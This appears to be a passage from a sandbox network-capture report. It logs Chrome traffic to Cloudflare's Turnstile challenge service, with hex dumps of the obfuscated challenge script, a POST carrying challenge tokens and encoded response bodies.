2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 69 66 28 68 70 28 39 38 39 29 21 3d 3d 64 5b 68 70 28 35 36 31 29 5d 29 72 65 74 75 72 6e 20 76 6f 69 64 20 4d 5b 68 70 28 37 37 36 29 5d 28 29 3b 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 64 5b 68 70 28 35 32 38 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 68 70 28 31 38 38 37 29 5d 28 48 2c 31 29 7c 4d 2c 64 5b 68 70 28 31 37 35 37 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 68 70 28 36 34 30 29 5d 28 64 5b 68 70 28 39 37 30 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 68 70 28 31 32 32 31 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 68 70 28 31 30 34 34 29 5d 28 31 36 2c 73 29 3b 48 3d 64 5b 68 70 Data Ascii: (o,H)),H=0):I++,M>>=1,s++);}else if(hp(989)!==d[hp(561)])return void M[hp(776)]();else{for(M=1,s=0;d[hp(528)](s,F);H=d[hp(1887)](H,1)\|M,d[hp(1757)](I,j-1)?(I=0,G[hp(640)](d[hp(970)](o,H)),H=0):I++,M=0,s++);for(M=C[hp(1221)](0),s=0;d[hp(1044)](16,s);H=d[hp
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 6a 5b 68 70 28 39 38 34 29 5d 5b 68 70 28 31 33 38 36 29 5d 2c 51 5b 68 70 28 31 38 39 37 29 5d 3d 68 70 28 31 32 32 39 29 2c 51 5b 68 70 28 31 31 39 36 29 5d 3d 43 2c 47 5b 64 5b 68 70 28 39 39 37 29 5d 5d 5b 68 70 28 31 36 30 39 29 5d 28 51 2c 27 2a 27 29 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 64 5b 68 70 28 31 35 39 34 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 68 70 28 31 34 36 39 29 5d 28 48 2c 31 29 7c 4d 26 31 2c 64 5b 68 70 28 31 36 30 31 29 5d 28 49 2c 64 5b 68 70 28 31 33 38 39 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 70 28 36 34 30 29 5d 28 64 5b 68 70 28 31 35 39 39 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 68 70 28 31 32 39 35 29 5d Data Ascii: j[hp(984)][hp(1386)],Q[hp(1897)]=hp(1229),Q[hp(1196)]=C,G[d[hp(997)]][hp(1609)](Q,'*')}for(M=2,s=0;d[hp(1594)](s,F);H=d[hp(1469)](H,1)\|M&1,d[hp(1601)](I,d[hp(1389)](j,1))?(I=0,G[hp(640)](d[hp(1599)](o,H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,I==d[hp(1295)]
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 73 28 35 39 31 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 73 28 31 38 35 32 29 5d 28 64 5b 68 73 28 31 39 30 37 29 5d 28 30 2c 4c 29 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4d 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 68 73 28 31 30 34 39 29 5d 28 27 27 29 7d 69 66 28 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 68 73 28 35 39 31 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4d 5d 29 4d 3d 73 5b 4d 5d 3b 65 6c 73 65 20 69 66 28 64 5b 68 73 28 31 31 36 31 29 5d 28 4d 2c 42 29 29 4d 3d 64 5b 68 73 Data Ascii: for(J=0,K=Math[hs(591)](2,16),F=1;K!=F;L=G&H,H>>=1,0==H&&(H=j,G=o(I++)),J\|=d[hs(1852)](d[hs(1907)](0,L)?1:0,F),F<<=1);s[B++]=e(J),M=B-1,x--;break;case 2:return D[hs(1049)]('')}if(x==0&&(x=Math[hs(591)](2,C),C++),s[M])M=s[M];else if(d[hs(1161)](M,B))M=d[hs
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 3a 51 5b 66 5b 68 76 28 31 34 31 34 29 5d 5d 26 26 5a 5b 66 5b 68 76 28 31 34 31 34 29 5d 5d 5b 68 76 28 31 36 30 39 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 76 28 31 32 34 35 29 2c 27 77 69 64 67 65 74 49 64 27 3a 61 30 5b 68 76 28 39 38 34 29 5d 5b 68 76 28 31 33 38 36 29 5d 2c 27 65 76 65 6e 74 27 3a 66 5b 68 76 28 31 32 36 34 29 5d 7d 2c 27 2a 27 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 45 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 66 5b 68 76 28 36 36 36 29 5d 28 47 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 66 5b 68 76 28 36 36 36 29 5d 28 46 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 2c 65 29 7d 2c 65 4d 5b 67 4a 28 38 38 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 68 77 2c 69 Data Ascii: :Q[f[hv(1414)]]&&Z[f[hv(1414)]][hv(1609)]({'source':hv(1245),'widgetId':a0[hv(984)][hv(1386)],'event':f[hv(1264)]},'*');continue;case'6':E();continue;case'7':f[hv(666)](G);continue;case'8':f[hv(666)](F);continue}break}},e)},eM[gJ(881)]=function(f,g,h,hw,i
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 42 5b 68 77 28 35 36 38 29 5d 3d 6f 2c 43 3d 4a 53 4f 4e 5b 68 77 28 31 38 39 35 29 5d 28 42 29 2c 44 3d 66 68 5b 68 77 28 31 33 34 30 29 5d 28 43 29 5b 68 77 28 36 37 32 29 5d 28 27 2b 27 2c 69 5b 68 77 28 39 35 36 29 5d 29 2c 73 5b 68 77 28 31 31 37 35 29 5d 28 69 5b 68 77 28 38 39 35 29 5d 28 27 76 5f 27 2c 65 4d 5b 68 77 28 39 38 34 29 5d 5b 68 77 28 31 35 30 39 29 5d 29 2b 27 3d 27 2b 44 29 7d 63 61 74 63 68 28 45 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 36 34 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 78 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 68 78 3d 67 4a 2c 65 3d 7b 27 64 76 44 51 43 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 27 54 6a 76 61 66 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f Data Ascii: B[hw(568)]=o,C=JSON[hw(1895)](B),D=fh[hw(1340)](C)[hw(672)]('+',i[hw(956)]),s[hw(1175)](i[hw(895)]('v_',eM[hw(984)][hw(1509)])+'='+D)}catch(E){}},eM[gJ(649)]=function(d,hx,e,f,g,h,i,j,k,l,m){(hx=gJ,e={'dvDQC':function(n,o){return n>o},'Tjvaf':function(n,o
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 68 42 28 39 30 36 29 5d 3d 68 42 28 31 32 38 33 29 2c 78 3d 76 2c 6b 5b 68 42 28 36 39 34 29 5d 28 68 42 28 31 36 36 30 29 2c 68 42 28 31 35 30 36 29 29 29 3f 28 43 3d 7b 7d 2c 43 5b 68 42 28 34 38 33 29 5d 3d 78 5b 68 42 28 39 30 36 29 5d 2c 44 3d 67 5b 68 42 28 31 30 36 35 29 5d 28 6e 65 77 20 68 28 5b 68 42 28 36 30 36 29 5d 2c 43 29 29 2c 45 3d 6e 65 77 20 69 28 44 29 2c 6a 5b 68 42 28 38 37 31 29 5d 28 44 29 2c 45 5b 68 42 28 31 34 32 33 29 5d 28 29 29 3a 65 4d 5b 68 42 28 38 38 31 29 5d 28 6f 2c 75 6e 64 65 66 69 6e 65 64 2c 68 42 28 37 31 36 29 29 7d 2c 31 30 29 2c 65 4d 5b 68 7a 28 31 37 36 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 43 29 7b 68 43 3d 68 7a 2c 65 4d 5b 68 43 28 37 37 36 29 5d 28 29 7d 2c 31 65 33 29 2c 65 4d 5b 68 7a 28 35 38 34 29 Data Ascii: hB(906)]=hB(1283),x=v,k[hB(694)](hB(1660),hB(1506)))?(C={},C[hB(483)]=x[hB(906)],D=g[hB(1065)](new h([hB(606)],C)),E=new i(D),j[hB(871)](D),E[hB(1423)]()):eM[hB(881)](o,undefined,hB(716))},10),eM[hz(1767)](function(hC){hC=hz,eM[hC(776)]()},1e3),eM[hz(584)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49763	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:08 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3546 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:08 UTC	3546	OUT	Data Raw: 76 5f 39 30 31 65 66 37 66 39 33 39 65 38 37 63 37 62 3d 49 7a 4a 65 57 65 39 65 6d 65 41 65 54 6a 79 5a 6a 79 44 65 6a 37 34 6b 43 53 37 79 30 6a 4e 4e 79 24 48 79 34 76 65 6a 78 79 6c 65 34 4a 53 34 4b 78 4a 79 58 66 78 79 4c 70 6a 55 49 79 4f 65 6a 44 4a 79 34 33 52 7a 32 45 79 33 6b 79 46 79 6a 7a 79 33 4a 25 32 62 76 79 48 79 32 76 34 4e 79 6b 76 66 4d 55 79 49 65 32 53 79 6e 75 4a 32 44 69 65 34 63 79 51 4b 70 6a 68 78 6f 75 72 62 6a 75 58 46 37 39 46 44 32 4b 74 65 4c 63 79 67 71 37 32 4c 2b 52 4f 36 30 65 32 41 68 79 32 49 79 66 46 67 6f 66 24 47 5a 6e 46 47 32 49 63 39 49 46 6e 4a 7a 37 32 75 5a 6a 53 76 79 37 32 42 39 64 6b 6b 79 4c 39 33 79 6c 7a 70 79 64 6e 6a 44 52 52 79 49 54 32 4c 45 48 70 39 79 6a 4c 4b 65 6a 38 46 79 34 68 79 6c 37 32 4f Data Ascii: v_901ef7f939e87c7b=IzJeWe9emeAeTjyZjyDej74kCS7y0jNNy$Hy4vejxyle4JS4KxJyXfxyLpjUIyOejDJy43Rz2Ey3kyFyjzy3J%2bvyHy2v4NykvfMUyIe2SynuJ2Die4cyQKpjhxourbjuXF79FD2KteLcygq72L+RO60e2Ahy2IyfFgof$GZnFG2Ic9IFnJz72uZjSvy72B9dkkyL93ylzpydnjDRRyIT2LEHp9yjLKej8Fy4hyl72O
2025-01-14 16:23:08 UTC	795	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 155824 Connection: close cf-chl-gen: ajTEeLNACqIquTeZas+9LeYCk7Xn9UV0leJEF+p9QXdvYZNliZmPvnypLr5bloxg8EHcm3AxvYyY1jLfV/n5SqtAgU5r+NP3TmilBIZFHHkDaKEP/BOvHnSG3SAcUj1CvIm2F6XrxOiztU5cfkSaJzsrtTdUuhyS/M6eJgmAbO9FL8N6o7Zb4Xc9ctXSpN8tX+5S+G+Eb7so3qdNAc936Nu96I+NRh6uC5fkpm3PZ6RLdzPUPZ7ZWmLkJXu2DE5MCa+MiaTQlObkYxktOfcncZN8dFF9DVCX8tmrmNwoOeZe3JsyjuAVf0t7TXXvokED0v4Mb3bEpYDkruFJzVQHVflwONtiJlJ9QHVe+V5VLWKvLlxHgw+ULL8BpSyS6ba6FuBh5jTsBdcSmd3z+RARLxZsUzywVl37L62RhyAMQs0obIIPkFcf2PJd0IMeyv7rKfyFRFEzT00ADjGtJ4/oQ0tbJsFkPb8GUbANmmY8+umQm9L/Dxt9VuK0x8ypIZdIDre9amrKliy6muNUYkWkiA==$MKLhnImrRBleQdrr7b6BLg== Server: cloudflare CF-RAY: 901ef8038a5372b1-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:08 UTC	574	IN	Data Raw: 74 70 4e 37 65 4a 61 61 79 63 66 44 72 61 57 75 71 4c 71 36 77 72 43 79 30 4e 4b 2f 70 70 47 33 6d 71 32 31 76 4a 36 61 33 64 66 4e 7a 4c 4b 30 72 37 66 41 6f 37 65 6f 36 4b 7a 63 35 62 48 6f 77 38 66 46 72 39 54 4c 72 39 57 34 30 66 7a 73 30 2b 6e 71 33 64 33 33 38 4d 37 6a 41 66 72 34 34 73 72 32 2b 2f 44 65 34 76 33 37 34 63 30 4e 41 4e 48 79 2b 64 62 6e 32 74 66 5a 2f 4e 6e 37 41 52 66 64 41 41 66 32 38 67 41 4c 43 77 63 6c 36 76 76 71 36 2b 6f 6f 4d 51 6f 4d 4b 79 51 36 4e 52 4d 47 2f 54 73 38 44 78 77 6a 49 67 49 32 4a 79 63 54 4b 6b 4d 36 51 41 38 6e 53 45 78 55 53 45 4e 44 45 46 56 44 4d 56 41 75 44 31 6b 63 58 7a 31 5a 55 79 46 52 51 56 59 6d 5a 53 42 64 61 55 4e 66 5a 43 70 50 53 30 35 55 62 57 35 57 51 7a 68 4f 55 6a 4d 36 61 54 46 67 67 58 68 Data Ascii: tpN7eJaaycfDraWuqLq6wrCy0NK/ppG3mq21vJ6a3dfNzLK0r7fAo7eo6Kzc5bHow8fFr9TLr9W40fzs0+nq3d338M7jAfr44sr2+/De4v374c0NANHy+dbn2tfZ/Nn7ARfdAAf28gALCwcl6vvq6+ooMQoMKyQ6NRMG/Ts8DxwjIgI2JycTKkM6QA8nSExUSENDEFVDMVAuD1kcXz1ZUyFRQVYmZSBdaUNfZCpPS05UbW5WQzhOUjM6aTFggXh
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 74 6b 53 55 42 68 64 45 70 54 61 58 5a 6e 4e 54 78 35 57 54 31 35 65 58 31 38 51 6c 52 54 69 46 74 64 51 31 5a 2f 66 5a 46 63 53 57 64 64 6a 48 46 6d 64 48 4e 31 61 49 75 51 6c 59 42 31 6a 49 79 67 68 59 53 6d 6d 59 57 63 65 4b 65 56 66 4a 70 37 6a 34 6c 39 71 49 64 77 71 48 47 73 69 34 57 54 69 4b 71 70 6a 62 6c 39 73 63 47 42 67 35 71 37 74 35 71 7a 71 72 6a 47 6d 36 79 6b 77 36 6d 79 7a 63 79 6f 6c 6f 2b 78 31 38 79 6e 75 74 53 36 75 75 50 65 76 62 50 66 34 65 4c 52 6e 4f 4b 6a 35 62 6a 4a 37 38 6d 76 7a 50 48 6a 37 36 6d 33 78 4e 54 53 73 75 66 56 74 74 32 37 34 4d 79 39 34 38 4c 7a 30 51 72 61 2b 66 6a 34 33 65 51 50 2f 76 45 56 42 50 34 4a 47 65 6f 59 37 76 72 76 37 42 50 62 30 75 6e 32 48 68 67 46 47 51 4c 6c 2b 43 55 45 34 69 4d 70 43 66 67 6e 4c Data Ascii: tkSUBhdEpTaXZnNTx5WT15eX18QlRTiFtdQ1Z/fZFcSWddjHFmdHN1aIuQlYB1jIyghYSmmYWceKeVfJp7j4l9qIdwqHGsi4WTiKqpjbl9scGBg5q7t5qzqrjGm6ykw6myzcyolo+x18ynutS6uuPevbPf4eLRnOKj5bjJ78mvzPHj76m3xNTSsufVtt274My948Lz0Qra+fj43eQP/vEVBP4JGeoY7vrv7BPb0un2HhgFGQLl+CUE4iMpCfgnL
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 77 58 45 64 4b 54 57 42 4c 56 48 64 6b 54 31 68 41 61 46 4e 62 61 57 78 58 58 30 35 4f 6b 49 32 45 63 56 36 41 6b 34 32 46 69 6d 79 48 64 35 46 73 56 33 4b 52 65 59 79 44 64 6e 4f 6e 6d 58 4f 6d 6f 5a 61 6d 65 70 68 6e 6e 36 5a 76 70 6d 36 4e 63 6f 53 6b 6c 33 65 49 76 62 31 39 6a 4a 79 56 6b 4c 71 6a 78 61 4b 44 74 72 57 34 74 38 75 68 6c 34 69 79 73 61 4c 47 72 36 71 4a 78 59 76 51 32 4d 61 30 7a 37 50 4d 30 4e 4b 34 75 35 33 55 76 4e 2f 6b 35 4d 48 6c 72 65 44 44 36 74 7a 6b 78 2b 66 67 36 4d 76 73 30 64 6a 49 36 74 79 39 34 50 30 41 76 63 33 58 38 62 33 2b 38 2b 4f 38 42 74 2f 5a 79 4f 33 48 45 4f 58 46 33 78 55 4b 35 42 62 33 45 66 76 75 38 42 63 55 47 68 6e 79 48 2b 41 45 2f 64 6e 38 43 43 45 6c 34 75 66 75 4b 51 4d 69 49 54 49 4d 41 66 49 55 42 53 Data Ascii: wXEdKTWBLVHdkT1hAaFNbaWxXX05OkI2EcV6Ak42FimyHd5FsV3KReYyDdnOnmXOmoZamephnn6Zvpm6NcoSkl3eIvb19jJyVkLqjxaKDtrW4t8uhl4iysaLGr6qJxYvQ2Ma0z7PM0NK4u53UvN/k5MHlreDD6tzkx+fg6Mvs0djI6ty94P0Avc3X8b3+8+O8Bt/ZyO3HEOXF3xUK5Bb3Efvu8BcUGhnyH+AE/dn8CCEl4ufuKQMiITIMAfIUBS
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 4d 7a 78 79 66 48 74 35 55 46 31 44 58 46 39 74 53 6e 32 50 67 32 71 50 62 57 70 2b 69 6e 4a 7a 54 34 68 30 55 33 79 51 65 61 42 77 6e 48 74 66 6d 71 42 2f 59 4a 36 6b 68 48 2b 69 71 49 69 45 71 35 43 69 6e 59 4b 4e 70 6e 68 78 65 6e 57 45 74 34 6d 62 76 48 68 39 6b 37 69 6c 66 4a 32 6d 74 34 71 6a 68 63 75 4c 6a 59 6d 70 30 70 4f 4e 72 64 62 4b 6c 4b 33 57 78 4d 57 62 30 35 69 32 75 74 44 4f 30 4e 58 5a 32 37 33 58 74 38 79 71 79 4f 44 46 38 4b 75 39 72 38 50 52 77 38 44 46 31 63 6a 51 38 4e 6a 57 39 62 72 58 2b 2f 33 54 74 39 2f 5a 38 4e 6a 54 78 4e 66 4d 37 39 76 5a 33 77 4c 6c 44 77 38 43 36 78 49 52 38 4e 45 4e 37 78 4d 63 38 77 49 5a 34 78 67 67 46 78 44 68 33 79 66 38 42 77 4d 6f 37 53 41 74 43 53 45 46 2f 65 6a 78 43 79 6f 61 4f 66 6f 74 2b 44 49 Data Ascii: MzxyfHt5UF1DXF9tSn2Pg2qPbWp+inJzT4h0U3yQeaBwnHtfmqB/YJ6khH+iqIiEq5CinYKNpnhxenWEt4mbvHh9k7ilfJ2mt4qjhcuLjYmp0pONrdbKlK3WxMWb05i2utDO0NXZ273Xt8yqyODF8Ku9r8PRw8DF1cjQ8NjW9brX+/3Tt9/Z8NjTxNfM79vZ3wLlDw8C6xIR8NEN7xMc8wIZ4xggFxDh3yf8BwMo7SAtCSEF/ejxCyoaOfot+DI
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 56 39 57 53 6e 5a 45 5a 45 68 38 61 6e 6c 53 69 30 70 79 5a 46 4b 59 67 70 42 4e 55 35 79 66 57 33 78 62 6a 56 6d 69 70 6e 75 6b 6f 47 4a 71 6d 4a 6c 73 67 32 57 6f 6a 34 57 41 67 70 2b 4a 69 6f 65 36 74 4b 79 4c 74 37 69 72 77 4a 57 42 65 72 33 42 6f 35 2b 6b 76 34 47 49 6f 36 71 4b 76 49 6a 4f 69 4d 43 76 79 5a 48 46 6c 4d 6d 52 75 4a 53 56 7a 70 6a 51 30 4e 2f 4e 75 4c 69 63 78 37 54 6b 75 75 75 69 79 4f 4c 73 36 4f 33 63 71 62 2f 44 35 4f 50 31 32 64 76 48 2f 64 34 41 76 65 6a 77 32 76 6e 36 2f 65 34 45 38 76 6e 47 2b 2f 59 47 79 2b 48 37 43 63 2f 68 42 65 62 72 36 41 58 79 7a 4e 55 4b 31 68 72 5a 41 64 30 4e 37 64 6f 69 49 64 6e 6f 35 52 55 6b 34 69 6b 70 2b 65 59 79 4c 4f 6b 48 38 53 41 4f 38 54 63 30 47 44 6b 6f 50 53 30 76 46 41 49 68 4c 7a 41 32 Data Ascii: V9WSnZEZEh8anlSi0pyZFKYgpBNU5yfW3xbjVmipnukoGJqmJlsg2Woj4WAgp+Jioe6tKyLt7irwJWBer3Bo5+kv4GIo6qKvIjOiMCvyZHFlMmRuJSVzpjQ0N/NuLicx7TkuuuiyOLs6O3cqb/D5OP12dvH/d4Avejw2vn6/e4E8vnG+/YGy+H7Cc/hBebr6AXyzNUK1hrZAd0N7doiIdno5RUk4ikp+eYyLOkH8SAO8Tc0GDkoPS0vFAIhLzA2
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 52 4c 61 30 65 4b 64 49 56 67 55 6e 39 6a 56 6e 57 45 5a 35 56 55 67 47 74 30 63 59 52 76 64 6f 57 49 63 33 71 63 65 4a 32 4e 65 32 57 45 6d 6d 6d 47 62 61 47 74 68 37 4f 48 67 33 71 6d 69 5a 69 30 63 6f 36 4d 76 63 43 34 6c 6e 6d 53 6f 37 6a 49 6f 4a 71 34 6a 37 48 52 77 4c 79 6e 79 4d 36 53 79 4b 4f 35 75 62 54 4d 6d 62 6d 78 79 38 72 42 74 64 61 32 32 71 47 30 76 5a 33 73 6e 2b 2f 71 36 74 7a 51 70 62 44 6c 36 4e 2f 4c 73 65 71 34 37 4f 33 38 33 38 76 4a 32 73 4c 57 30 38 37 30 76 39 58 66 32 38 63 4e 2f 76 7a 73 43 2b 6e 46 36 67 34 48 41 67 7a 6f 43 39 72 6b 37 67 63 51 47 42 59 57 2b 77 41 53 33 77 62 78 42 43 49 6b 43 77 77 49 34 65 63 46 48 42 55 66 4c 54 63 77 38 65 38 32 43 78 63 59 46 41 30 31 48 41 49 58 46 45 4a 42 52 52 68 45 52 78 6f 48 53 Data Ascii: RLa0eKdIVgUn9jVnWEZ5VUgGt0cYRvdoWIc3qceJ2Ne2WEmmmGbaGth7OHg3qmiZi0co6MvcC4lnmSo7jIoJq4j7HRwLynyM6SyKO5ubTMmbmxy8rBtda22qG0vZ3sn+/q6tzQpbDl6N/Lseq47O3838vJ2sLW0870v9Xf28cN/vzsC+nF6g4HAgzoC9rk7gcQGBYW+wAS3wbxBCIkCwwI4ecFHBUfLTcw8e82CxcYFA01HAIXFEJBRRhERxoHS
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 67 68 56 61 43 5a 70 6c 61 65 45 39 34 57 6f 31 77 61 34 32 4e 63 5a 61 6e 68 4a 4f 4b 66 48 35 33 62 61 6d 52 71 35 2b 73 67 62 43 7a 64 6d 36 45 74 6f 65 4e 75 37 75 62 6a 6e 69 53 65 63 47 4e 73 72 6d 34 78 4c 53 72 6e 61 69 48 79 35 6d 35 75 71 57 4d 31 4d 54 4f 72 38 4b 71 71 4e 50 54 31 37 36 75 71 35 6d 6a 31 39 50 45 32 36 66 49 77 4f 53 65 36 64 32 37 37 73 54 4d 35 65 7a 47 73 65 62 57 74 66 54 36 78 39 66 4b 37 75 2f 63 33 38 7a 5a 32 66 6e 54 77 2b 54 6c 35 75 54 72 41 77 67 41 45 4e 72 6a 35 68 62 6d 37 51 33 7a 2b 78 58 54 2b 64 34 65 37 79 4d 54 37 78 4d 53 2f 52 44 32 49 2f 51 41 49 77 44 32 2b 79 77 47 2f 4f 6f 50 39 42 41 6d 4e 41 63 4f 42 43 55 51 4f 78 49 4a 4d 44 6b 37 46 67 34 45 4b 52 6f 2b 53 43 55 6d 43 42 63 39 4a 79 49 74 48 52 Data Ascii: ghVaCZplaeE94Wo1wa42NcZanhJOKfH53bamRq5+sgbCzdm6EtoeNu7ubjniSecGNsrm4xLSrnaiHy5m5uqWM1MTOr8KqqNPT176uq5mj19PE26fIwOSe6d277sTM5ezGsebWtfT6x9fK7u/c38zZ2fnTw+Tl5uTrAwgAENrj5hbm7Q3z+xXT+d4e7yMT7xMS/RD2I/QAIwD2+ywG/OoP9BAmNAcOBCUQOxIJMDk7Fg4EKRo+SCUmCBc9JyItHR
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 56 70 6c 34 57 5a 53 54 6e 47 36 59 5a 5a 65 43 6b 36 65 59 72 47 61 70 69 47 6d 6b 6f 36 78 2b 71 49 65 6e 6b 71 4f 33 71 48 56 32 75 5a 68 35 74 4c 4f 38 6a 72 68 33 78 36 4b 7a 78 37 69 4a 68 73 6d 6f 69 63 54 44 7a 4a 37 49 6a 64 65 79 77 39 66 49 6b 5a 62 5a 75 4a 6e 55 30 39 79 75 32 4c 44 42 77 74 50 6e 32 62 61 6d 36 63 69 70 35 4f 50 73 76 75 69 78 39 39 4c 6a 39 2b 6a 4b 74 76 6e 59 75 66 54 7a 2f 4d 37 34 78 4e 48 69 38 77 6a 34 33 73 59 4b 36 4d 6b 46 42 41 33 65 43 52 48 78 38 67 51 59 43 66 4c 57 47 76 6a 5a 46 65 30 68 46 76 67 61 4a 41 50 68 4b 50 34 44 46 76 30 44 4b 78 41 46 48 41 54 38 42 7a 50 33 37 78 6b 58 44 67 34 70 2f 44 49 38 2f 54 6f 58 44 51 49 33 4f 67 41 45 4e 52 77 66 44 67 31 43 54 41 35 4b 4a 78 30 30 53 42 49 5a 46 45 6b Data Ascii: Vpl4WZSTnG6YZZeCk6eYrGapiGmko6x+qIenkqO3qHV2uZh5tLO8jrh3x6Kzx7iJhsmoicTDzJ7Ijdeyw9fIkZbZuJnU09yu2LDBwtPn2bam6cip5OPsvuix99Lj9+jKtvnYufTz/M74xNHi8wj43sYK6MkFBA3eCRHx8gQYCfLWGvjZFe0hFvgaJAPhKP4DFv0DKxAFHAT8BzP37xkXDg4p/DI8/ToXDQI3OgAENRwfDg1CTA5KJx00SBIZFEk
2025-01-14 16:23:08 UTC	1369	IN	Data Raw: 34 39 67 65 4a 4b 50 67 71 65 41 6a 4a 32 43 67 32 6c 36 66 47 69 66 63 49 69 69 6e 35 4b 33 68 37 46 38 63 35 61 74 6d 49 72 41 72 5a 79 52 6b 61 4b 7a 78 37 6d 57 68 73 6d 6f 69 63 54 44 7a 4a 79 38 72 4d 4f 4f 72 4b 57 69 32 62 53 6f 70 70 36 58 6d 38 79 7a 72 61 57 6b 32 65 4f 6c 32 62 2b 39 75 4c 2f 6f 70 37 48 72 73 62 2b 75 39 73 4c 4c 31 76 71 30 2f 4d 58 49 36 50 76 73 7a 37 76 4f 39 65 58 7a 78 4e 7a 32 38 2b 59 4d 35 50 6a 5a 35 75 66 4e 33 74 38 55 42 4e 54 73 42 77 54 32 48 50 51 41 45 50 62 33 33 65 37 76 33 42 54 6b 2f 42 63 55 42 79 77 46 45 43 59 48 43 4f 33 2b 41 51 34 6b 39 41 30 6e 4a 42 63 38 46 53 6b 39 46 78 6a 39 44 78 45 30 4e 41 55 64 4e 7a 51 6e 54 43 55 34 44 79 63 6f 44 68 38 68 56 45 51 56 4c 55 64 45 4e 31 77 31 53 43 38 33 Data Ascii: 